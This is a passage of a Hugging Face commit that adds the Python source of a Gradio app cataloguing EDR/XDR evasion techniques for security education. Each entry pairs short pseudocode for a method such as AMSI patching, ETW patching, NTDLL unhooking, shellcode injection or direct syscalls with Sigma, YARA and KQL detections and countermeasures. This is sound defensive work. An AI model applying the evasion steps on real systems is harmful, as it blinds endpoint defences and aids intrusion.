AYI-NEDJIMI commited on
Commit
bb0b1cd
·
verified ·
1 Parent(s): a36ee57

Upload app.py with huggingface_hub

Browse files
Files changed (1) hide show
  1. app.py +1972 -0
app.py ADDED
@@ -0,0 +1,1972 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ EDR/XDR Evasion Technique Explorer
3
+ Educational platform for cybersecurity professionals.
4
+ Powered by AYI-NEDJIMI Consultants - https://ayinedjimi-consultants.fr
5
+ """
6
+
7
+ import gradio as gr
8
+ import plotly.graph_objects as go
9
+ import pandas as pd
10
+ import json
11
+
12
+ # ---------------------------------------------------------------------------
13
+ # Translations
14
+ # ---------------------------------------------------------------------------
15
+ TR = {
16
+ "title": {
17
+ "fr": "Explorateur de Techniques d\u2019\u00c9vasion EDR/XDR",
18
+ "en": "EDR/XDR Evasion Technique Explorer",
19
+ },
20
+ "subtitle": {
21
+ "fr": "Plateforme \u00e9ducative pour professionnels de la cybers\u00e9curit\u00e9",
22
+ "en": "Educational platform for cybersecurity professionals",
23
+ },
24
+ "tab_browser": {"fr": "Navigateur de Techniques", "en": "Technique Browser"},
25
+ "tab_detection": {"fr": "Ing\u00e9nierie de D\u00e9tection", "en": "Detection Engineering"},
26
+ "tab_comparison": {"fr": "Comparaison EDR", "en": "EDR Comparison"},
27
+ "tab_simulation": {"fr": "Planificateur de Simulation", "en": "Attack Simulation Planner"},
28
+ "tab_resources": {"fr": "Ressources", "en": "Resources"},
29
+ "category": {"fr": "Cat\u00e9gorie", "en": "Category"},
30
+ "difficulty": {"fr": "Difficult\u00e9", "en": "Difficulty"},
31
+ "all": {"fr": "Toutes", "en": "All"},
32
+ "description": {"fr": "Description", "en": "Description"},
33
+ "mitre": {"fr": "Mapping MITRE ATT&CK", "en": "MITRE ATT&CK Mapping"},
34
+ "pseudocode": {"fr": "Pseudocode (\u00e9ducatif)", "en": "Pseudocode (educational)"},
35
+ "detection": {"fr": "M\u00e9thode de d\u00e9tection", "en": "Detection Method"},
36
+ "countermeasure": {"fr": "Contre-mesure d\u00e9fensive", "en": "Defensive Countermeasure"},
37
+ "select_technique": {"fr": "S\u00e9lectionnez une technique", "en": "Select a technique"},
38
+ "select_scenario": {"fr": "S\u00e9lectionnez un sc\u00e9nario", "en": "Select a scenario"},
39
+ "sysmon_ids": {"fr": "Sysmon Event IDs \u00e0 surveiller", "en": "Sysmon Event IDs to Monitor"},
40
+ "kql_query": {"fr": "Requ\u00eate KQL (Microsoft Defender)", "en": "KQL Query (Microsoft Defender)"},
41
+ "sigma_rule": {"fr": "R\u00e8gle Sigma", "en": "Sigma Rule"},
42
+ "yara_rule": {"fr": "R\u00e8gle YARA", "en": "YARA Rule Snippet"},
43
+ "edr_config": {"fr": "Configuration EDR recommand\u00e9e", "en": "Recommended EDR Configuration"},
44
+ "scenario_plan": {"fr": "Plan de simulation", "en": "Simulation Plan"},
45
+ "evasion_needed": {"fr": "Techniques d\u2019\u00e9vasion n\u00e9cessaires", "en": "Evasion Techniques Needed"},
46
+ "detection_gaps": {"fr": "Lacunes de d\u00e9tection \u00e0 tester", "en": "Detection Gaps to Test"},
47
+ "purple_team": {"fr": "Exercice Purple Team", "en": "Purple Team Exercise"},
48
+ "expected_alerts": {"fr": "Alertes EDR attendues", "en": "Expected EDR Alerts"},
49
+ "disclaimer": {
50
+ "fr": (
51
+ "Ce contenu est strictement \u00e9ducatif et destin\u00e9 aux professionnels "
52
+ "de la cybers\u00e9curit\u00e9 pour am\u00e9liorer les d\u00e9fenses."
53
+ ),
54
+ "en": (
55
+ "This content is strictly educational and intended for cybersecurity "
56
+ "professionals to improve defenses."
57
+ ),
58
+ },
59
+ }
60
+
61
+
62
+ def t(key, lang):
63
+ return TR.get(key, {}).get(lang, key)
64
+
65
+
66
+ # ---------------------------------------------------------------------------
67
+ # Difficulty helpers
68
+ # ---------------------------------------------------------------------------
69
+ DIFF_COLORS = {
70
+ "Easy": "#2ecc71",
71
+ "Medium": "#f39c12",
72
+ "Hard": "#e74c3c",
73
+ "Expert": "#8e44ad",
74
+ }
75
+
76
+ DIFF_FR = {"Easy": "Facile", "Medium": "Moyen", "Hard": "Difficile", "Expert": "Expert"}
77
+
78
+
79
+ def diff_label(d, lang):
80
+ if lang == "fr":
81
+ return DIFF_FR.get(d, d)
82
+ return d
83
+
84
+
85
+ def diff_badge(d, lang):
86
+ color = DIFF_COLORS.get(d, "#95a5a6")
87
+ label = diff_label(d, lang)
88
+ return (
89
+ f'<span style="background:{color};color:#fff;padding:2px 10px;'
90
+ f'border-radius:8px;font-weight:bold">{label}</span>'
91
+ )
92
+
93
+
94
+ # ---------------------------------------------------------------------------
95
+ # Technique database (25+ techniques)
96
+ # ---------------------------------------------------------------------------
97
+ TECHNIQUES = [
98
+ # ---- Memory Evasion ----
99
+ {
100
+ "id": "amsi-bypass",
101
+ "category": "Memory Evasion",
102
+ "name": {"en": "AMSI Bypass", "fr": "Contournement AMSI"},
103
+ "difficulty": "Medium",
104
+ "mitre": "T1562.001 - Disable or Modify Tools",
105
+ "desc": {
106
+ "en": "Patches the AmsiScanBuffer function in memory to prevent script scanning by the Antimalware Scan Interface.",
107
+ "fr": "Modifie la fonction AmsiScanBuffer en m\u00e9moire pour emp\u00eacher l\u2019analyse des scripts par AMSI.",
108
+ },
109
+ "pseudocode": (
110
+ "# Educational pseudocode only\n"
111
+ "addr = GetProcAddress(amsi_dll, 'AmsiScanBuffer')\n"
112
+ "VirtualProtect(addr, size, PAGE_READWRITE)\n"
113
+ "WriteMemory(addr, patch_bytes) # returns AMSI_RESULT_CLEAN\n"
114
+ "VirtualProtect(addr, size, old_protect)"
115
+ ),
116
+ "detection": {
117
+ "en": "Monitor for suspicious memory writes to amsi.dll. Sysmon Event ID 7 (Image Loaded) and memory protection changes.",
118
+ "fr": "Surveiller les \u00e9critures m\u00e9moire suspectes dans amsi.dll. Sysmon Event ID 7 et changements de protection m\u00e9moire.",
119
+ },
120
+ "countermeasure": {
121
+ "en": "Enable hardware-based AMSI protection, use ETW tracing for AMSI events, deploy integrity monitoring.",
122
+ "fr": "Activer la protection AMSI mat\u00e9rielle, utiliser le tra\u00e7age ETW pour les \u00e9v\u00e9nements AMSI.",
123
+ },
124
+ "sysmon": "7, 10, 13",
125
+ "kql": (
126
+ 'DeviceEvents\n| where ActionType == "AmsiDetection"\n'
127
+ '| where FileName endswith "amsi.dll"\n| project Timestamp, DeviceName, InitiatingProcessFileName'
128
+ ),
129
+ "sigma": (
130
+ "title: AMSI Bypass Attempt\nstatus: experimental\n"
131
+ "logsource:\n product: windows\n category: process_creation\n"
132
+ "detection:\n selection:\n CommandLine|contains:\n"
133
+ ' - "AmsiScanBuffer"\n - "amsiInitFailed"\n'
134
+ " condition: selection\nlevel: high"
135
+ ),
136
+ "yara": (
137
+ 'rule AMSI_Bypass {\n strings:\n $a = "AmsiScanBuffer" ascii wide\n'
138
+ ' $b = "amsiInitFailed" ascii wide\n'
139
+ ' $c = { 48 8B 05 ?? ?? ?? ?? 48 85 C0 74 }\n'
140
+ " condition:\n 2 of them\n}"
141
+ ),
142
+ "edr_config": {
143
+ "en": "Enable AMSI integration, script block logging, and memory tamper protection. Configure real-time ETW consumers.",
144
+ "fr": "Activer l\u2019int\u00e9gration AMSI, la journalisation des blocs de scripts et la protection contre la falsification m\u00e9moire.",
145
+ },
146
+ },
147
+ {
148
+ "id": "etw-patching",
149
+ "category": "Memory Evasion",
150
+ "name": {"en": "ETW Patching", "fr": "Modification ETW"},
151
+ "difficulty": "Hard",
152
+ "mitre": "T1562.001 - Disable or Modify Tools",
153
+ "desc": {
154
+ "en": "Patches ETW (Event Tracing for Windows) functions to blind security telemetry providers.",
155
+ "fr": "Modifie les fonctions ETW pour aveugler les fournisseurs de t\u00e9l\u00e9m\u00e9trie de s\u00e9curit\u00e9.",
156
+ },
157
+ "pseudocode": (
158
+ "# Educational pseudocode\n"
159
+ "addr = GetProcAddress(ntdll, 'EtwEventWrite')\n"
160
+ "VirtualProtect(addr, 1, PAGE_READWRITE)\n"
161
+ "WriteMemory(addr, RET_OPCODE) # function returns immediately"
162
+ ),
163
+ "detection": {
164
+ "en": "Monitor for patches to ntdll!EtwEventWrite. Use kernel-mode ETW consumers that are harder to disable.",
165
+ "fr": "Surveiller les modifications de ntdll!EtwEventWrite. Utiliser des consommateurs ETW en mode noyau.",
166
+ },
167
+ "countermeasure": {
168
+ "en": "Kernel-level ETW monitoring, periodic ntdll integrity checks, protected process light (PPL) for ETW service.",
169
+ "fr": "Surveillance ETW au niveau noyau, v\u00e9rifications p\u00e9riodiques de l\u2019int\u00e9grit\u00e9 de ntdll.",
170
+ },
171
+ "sysmon": "7, 10",
172
+ "kql": (
173
+ 'DeviceEvents\n| where ActionType == "NtdllTamper"\n'
174
+ "| project Timestamp, DeviceName, InitiatingProcessFileName"
175
+ ),
176
+ "sigma": (
177
+ "title: ETW Patching Detected\nstatus: experimental\n"
178
+ "logsource:\n product: windows\n category: process_access\n"
179
+ "detection:\n selection:\n TargetImage|endswith: '\\\\ntdll.dll'\n"
180
+ " GrantedAccess|contains: '0x40'\n condition: selection\nlevel: critical"
181
+ ),
182
+ "yara": (
183
+ 'rule ETW_Patch {\n strings:\n $a = "EtwEventWrite" ascii wide\n'
184
+ " $ret = { C3 } // RET opcode\n"
185
+ " condition:\n $a and #ret > 5\n}"
186
+ ),
187
+ "edr_config": {
188
+ "en": "Enable tamper protection for ETW providers, use kernel callbacks for telemetry, implement ntdll integrity monitoring.",
189
+ "fr": "Activer la protection anti-falsification pour les fournisseurs ETW, utiliser des callbacks noyau.",
190
+ },
191
+ },
192
+ {
193
+ "id": "ntdll-unhooking",
194
+ "category": "Memory Evasion",
195
+ "name": {"en": "NTDLL Unhooking", "fr": "D\u00e9crochage NTDLL"},
196
+ "difficulty": "Hard",
197
+ "mitre": "T1562.001 - Disable or Modify Tools",
198
+ "desc": {
199
+ "en": "Replaces hooked ntdll.dll with a clean copy from disk to remove EDR inline hooks.",
200
+ "fr": "Remplace ntdll.dll modifi\u00e9 par une copie propre depuis le disque pour supprimer les hooks EDR.",
201
+ },
202
+ "pseudocode": (
203
+ "# Educational pseudocode\n"
204
+ "clean_ntdll = ReadFile('C:\\\\Windows\\\\System32\\\\ntdll.dll')\n"
205
+ "current_ntdll = GetModuleHandle('ntdll.dll')\n"
206
+ "# Map .text section from clean copy over hooked version\n"
207
+ "WriteProcessMemory(current_ntdll.text, clean_ntdll.text)"
208
+ ),
209
+ "detection": {
210
+ "en": "Monitor file reads of ntdll.dll from disk, detect .text section overwrites via kernel callbacks.",
211
+ "fr": "Surveiller les lectures de ntdll.dll depuis le disque, d\u00e9tecter les r\u00e9\u00e9critures de la section .text.",
212
+ },
213
+ "countermeasure": {
214
+ "en": "Use kernel-level hooks instead of userland, implement hook integrity verification, deploy minifilter drivers.",
215
+ "fr": "Utiliser des hooks au niveau noyau, impl\u00e9menter la v\u00e9rification d\u2019int\u00e9grit\u00e9 des hooks.",
216
+ },
217
+ "sysmon": "7, 10, 11",
218
+ "kql": (
219
+ 'DeviceFileEvents\n| where FileName == "ntdll.dll"\n'
220
+ '| where ActionType == "FileRead"\n| project Timestamp, DeviceName, InitiatingProcessFileName'
221
+ ),
222
+ "sigma": (
223
+ "title: NTDLL Unhooking via File Read\nstatus: experimental\n"
224
+ "logsource:\n product: windows\n category: file_access\n"
225
+ "detection:\n selection:\n TargetFilename|endswith: '\\\\ntdll.dll'\n"
226
+ " condition: selection\nlevel: high"
227
+ ),
228
+ "yara": (
229
+ 'rule NTDLL_Unhooking {\n strings:\n $a = "ntdll.dll" ascii wide\n'
230
+ ' $b = "NtProtectVirtualMemory" ascii\n'
231
+ ' $c = ".text" ascii\n'
232
+ " condition:\n all of them\n}"
233
+ ),
234
+ "edr_config": {
235
+ "en": "Deploy kernel-mode hooks, enable minifilter for ntdll.dll access monitoring, use PPL for EDR agent.",
236
+ "fr": "D\u00e9ployer des hooks en mode noyau, activer le minifiltre pour surveiller les acc\u00e8s \u00e0 ntdll.dll.",
237
+ },
238
+ },
239
+ {
240
+ "id": "shellcode-injection",
241
+ "category": "Memory Evasion",
242
+ "name": {"en": "Shellcode Injection", "fr": "Injection de Shellcode"},
243
+ "difficulty": "Medium",
244
+ "mitre": "T1055.001 - Process Injection: DLL Injection",
245
+ "desc": {
246
+ "en": "Allocates memory in a remote process and injects shellcode for execution.",
247
+ "fr": "Alloue de la m\u00e9moire dans un processus distant et injecte du shellcode pour ex\u00e9cution.",
248
+ },
249
+ "pseudocode": (
250
+ "# Educational pseudocode\n"
251
+ "hProcess = OpenProcess(target_pid)\n"
252
+ "addr = VirtualAllocEx(hProcess, MEM_COMMIT, PAGE_RWX)\n"
253
+ "WriteProcessMemory(hProcess, addr, shellcode)\n"
254
+ "CreateRemoteThread(hProcess, addr)"
255
+ ),
256
+ "detection": {
257
+ "en": "Monitor VirtualAllocEx with RWX permissions, cross-process WriteProcessMemory, and CreateRemoteThread calls.",
258
+ "fr": "Surveiller VirtualAllocEx avec permissions RWX, WriteProcessMemory inter-processus et CreateRemoteThread.",
259
+ },
260
+ "countermeasure": {
261
+ "en": "Enable CIG (Code Integrity Guard), enforce W^X policy, monitor cross-process memory operations.",
262
+ "fr": "Activer CIG, appliquer la politique W^X, surveiller les op\u00e9rations m\u00e9moire inter-processus.",
263
+ },
264
+ "sysmon": "1, 8, 10",
265
+ "kql": (
266
+ "DeviceEvents\n| where ActionType in ('CreateRemoteThreadApiCall', 'QueueUserApcRemoteApiCall')\n"
267
+ "| project Timestamp, DeviceName, InitiatingProcessFileName, FileName"
268
+ ),
269
+ "sigma": (
270
+ "title: Remote Shellcode Injection\nstatus: experimental\n"
271
+ "logsource:\n product: windows\n category: create_remote_thread\n"
272
+ "detection:\n selection:\n EventID: 8\n"
273
+ " filter:\n SourceImage|endswith: '\\\\svchost.exe'\n"
274
+ " condition: selection and not filter\nlevel: high"
275
+ ),
276
+ "yara": (
277
+ "rule Shellcode_Injection {\n strings:\n"
278
+ ' $api1 = "VirtualAllocEx" ascii\n $api2 = "WriteProcessMemory" ascii\n'
279
+ ' $api3 = "CreateRemoteThread" ascii\n'
280
+ " condition:\n all of them\n}"
281
+ ),
282
+ "edr_config": {
283
+ "en": "Enable memory injection detection, configure CIG policies, implement stack call verification.",
284
+ "fr": "Activer la d\u00e9tection d\u2019injection m\u00e9moire, configurer les politiques CIG.",
285
+ },
286
+ },
287
+ {
288
+ "id": "module-stomping",
289
+ "category": "Memory Evasion",
290
+ "name": {"en": "Module Stomping", "fr": "\u00c9crasement de Module"},
291
+ "difficulty": "Expert",
292
+ "mitre": "T1055.001 - Process Injection: DLL Injection",
293
+ "desc": {
294
+ "en": "Loads a legitimate DLL then overwrites its .text section with malicious code to hide in a signed module.",
295
+ "fr": "Charge une DLL l\u00e9gitime puis \u00e9crase sa section .text avec du code malveillant pour se cacher dans un module sign\u00e9.",
296
+ },
297
+ "pseudocode": (
298
+ "# Educational pseudocode\n"
299
+ "hModule = LoadLibrary('legitimate.dll')\n"
300
+ "text_addr = GetSectionAddress(hModule, '.text')\n"
301
+ "VirtualProtect(text_addr, size, PAGE_RWX)\n"
302
+ "memcpy(text_addr, malicious_code, size)"
303
+ ),
304
+ "detection": {
305
+ "en": "Compare in-memory module against on-disk version. Monitor for RWX permission changes on signed DLLs.",
306
+ "fr": "Comparer le module en m\u00e9moire avec la version sur disque. Surveiller les changements RWX sur les DLL sign\u00e9es.",
307
+ },
308
+ "countermeasure": {
309
+ "en": "Memory integrity scanning, signed code enforcement, periodic module hash verification.",
310
+ "fr": "Analyse d\u2019int\u00e9grit\u00e9 m\u00e9moire, application de code sign\u00e9, v\u00e9rification p\u00e9riodique des hachages de modules.",
311
+ },
312
+ "sysmon": "7, 10, 25",
313
+ "kql": (
314
+ "DeviceImageLoadEvents\n| where FileName endswith '.dll'\n"
315
+ "| where InitiatingProcessFileName !in ('svchost.exe','explorer.exe')\n"
316
+ "| project Timestamp, DeviceName, FileName, InitiatingProcessFileName"
317
+ ),
318
+ "sigma": (
319
+ "title: Module Stomping Detection\nstatus: experimental\n"
320
+ "logsource:\n product: windows\n category: image_load\n"
321
+ "detection:\n selection:\n ImageLoaded|endswith: '.dll'\n"
322
+ " filter:\n Image|endswith:\n - '\\\\svchost.exe'\n - '\\\\explorer.exe'\n"
323
+ " condition: selection and not filter\nlevel: medium"
324
+ ),
325
+ "yara": (
326
+ "rule Module_Stomping {\n strings:\n"
327
+ ' $s1 = ".text" ascii\n $s2 = "VirtualProtect" ascii\n'
328
+ ' $s3 = "LoadLibrary" ascii\n'
329
+ " condition:\n all of them and filesize < 500KB\n}"
330
+ ),
331
+ "edr_config": {
332
+ "en": "Enable in-memory scanning, enforce code signing for loaded modules, implement periodic integrity checks.",
333
+ "fr": "Activer l\u2019analyse en m\u00e9moire, appliquer la signature de code pour les modules charg\u00e9s.",
334
+ },
335
+ },
336
+ # ---- Direct Syscalls ----
337
+ {
338
+ "id": "syswhispers",
339
+ "category": "Direct Syscalls",
340
+ "name": {"en": "SysWhispers", "fr": "SysWhispers"},
341
+ "difficulty": "Hard",
342
+ "mitre": "T1106 - Native API",
343
+ "desc": {
344
+ "en": "Generates syscall stubs to call NT functions directly, bypassing userland API hooks placed by EDR.",
345
+ "fr": "G\u00e9n\u00e8re des stubs de syscall pour appeler directement les fonctions NT, contournant les hooks API de l\u2019EDR.",
346
+ },
347
+ "pseudocode": (
348
+ "# Educational pseudocode\n"
349
+ "# SysWhispers generates assembly stubs\n"
350
+ "mov r10, rcx\n"
351
+ "mov eax, SYSCALL_NUMBER # e.g. NtAllocateVirtualMemory\n"
352
+ "syscall\n"
353
+ "ret"
354
+ ),
355
+ "detection": {
356
+ "en": "Monitor for syscall instructions from non-ntdll memory regions. Kernel-level telemetry via ETW Threat Intelligence.",
357
+ "fr": "Surveiller les instructions syscall depuis des r\u00e9gions m\u00e9moire hors ntdll. T\u00e9l\u00e9m\u00e9trie noyau via ETW Threat Intelligence.",
358
+ },
359
+ "countermeasure": {
360
+ "en": "Use kernel-mode callbacks, ETW TI provider, stack trace validation to detect non-standard syscall origins.",
361
+ "fr": "Utiliser des callbacks en mode noyau, le fournisseur ETW TI, la validation de pile d\u2019appels.",
362
+ },
363
+ "sysmon": "10, 25",
364
+ "kql": (
365
+ "DeviceEvents\n| where ActionType == 'NtAllocateVirtualMemory'\n"
366
+ "| where InitiatingProcessFileName !in ('svchost.exe')\n"
367
+ "| project Timestamp, DeviceName, ActionType"
368
+ ),
369
+ "sigma": (
370
+ "title: Direct Syscall Detection\nstatus: experimental\n"
371
+ "logsource:\n product: windows\n category: process_access\n"
372
+ "detection:\n selection:\n CallTrace|contains: 'UNKNOWN'\n"
373
+ " condition: selection\nlevel: critical"
374
+ ),
375
+ "yara": (
376
+ "rule SysWhispers {\n strings:\n"
377
+ " $stub = { 4C 8B D1 B8 ?? ?? 00 00 0F 05 C3 }\n"
378
+ ' $str = "NtAllocateVirtualMemory" ascii\n'
379
+ " condition:\n $stub or $str\n}"
380
+ ),
381
+ "edr_config": {
382
+ "en": "Enable ETW Threat Intelligence provider, implement kernel-level syscall monitoring, use stack walk verification.",
383
+ "fr": "Activer le fournisseur ETW Threat Intelligence, impl\u00e9menter la surveillance des syscalls au niveau noyau.",
384
+ },
385
+ },
386
+ {
387
+ "id": "hellsgate",
388
+ "category": "Direct Syscalls",
389
+ "name": {"en": "HellsGate", "fr": "HellsGate"},
390
+ "difficulty": "Expert",
391
+ "mitre": "T1106 - Native API",
392
+ "desc": {
393
+ "en": "Dynamically resolves syscall numbers at runtime by parsing ntdll.dll in memory, avoiding hardcoded values.",
394
+ "fr": "R\u00e9sout dynamiquement les num\u00e9ros de syscall en analysant ntdll.dll en m\u00e9moire.",
395
+ },
396
+ "pseudocode": (
397
+ "# Educational pseudocode\n"
398
+ "ntdll_base = GetModuleHandle('ntdll.dll')\n"
399
+ "for each export in ntdll_base.exports:\n"
400
+ " if export starts with 'Zw':\n"
401
+ " syscall_num = read_bytes(export + 4, 4)\n"
402
+ " store(function_name, syscall_num)"
403
+ ),
404
+ "detection": {
405
+ "en": "Detect ntdll export table enumeration from unexpected processes. Monitor for syscall instruction outside ntdll.",
406
+ "fr": "D\u00e9tecter l\u2019\u00e9num\u00e9ration de la table d\u2019exports ntdll depuis des processus inattendus.",
407
+ },
408
+ "countermeasure": {
409
+ "en": "Kernel-level ETW, call stack analysis, behavioral detection of syscall resolution patterns.",
410
+ "fr": "ETW au niveau noyau, analyse de pile d\u2019appels, d\u00e9tection comportementale.",
411
+ },
412
+ "sysmon": "10, 7",
413
+ "kql": (
414
+ "DeviceEvents\n| where ActionType == 'NtApiCall'\n"
415
+ "| where AdditionalFields contains 'non-ntdll'\n| project Timestamp, DeviceName"
416
+ ),
417
+ "sigma": (
418
+ "title: HellsGate Syscall Resolution\nstatus: experimental\n"
419
+ "logsource:\n product: windows\n category: process_access\n"
420
+ "detection:\n selection:\n CallTrace|contains: 'UNKNOWN'\n GrantedAccess: '0x1F0FFF'\n"
421
+ " condition: selection\nlevel: critical"
422
+ ),
423
+ "yara": (
424
+ "rule HellsGate {\n strings:\n"
425
+ " $pattern = { 4C 8B D1 B8 ?? ?? 00 00 }\n"
426
+ ' $zw = "Zw" ascii\n'
427
+ " condition:\n $pattern and #zw > 10\n}"
428
+ ),
429
+ "edr_config": {
430
+ "en": "Deploy ETW Threat Intelligence, kernel callbacks for process/thread operations, tamper protection.",
431
+ "fr": "D\u00e9ployer ETW Threat Intelligence, callbacks noyau pour les op\u00e9rations de processus/threads.",
432
+ },
433
+ },
434
+ {
435
+ "id": "halosgate",
436
+ "category": "Direct Syscalls",
437
+ "name": {"en": "HalosGate", "fr": "HalosGate"},
438
+ "difficulty": "Expert",
439
+ "mitre": "T1106 - Native API",
440
+ "desc": {
441
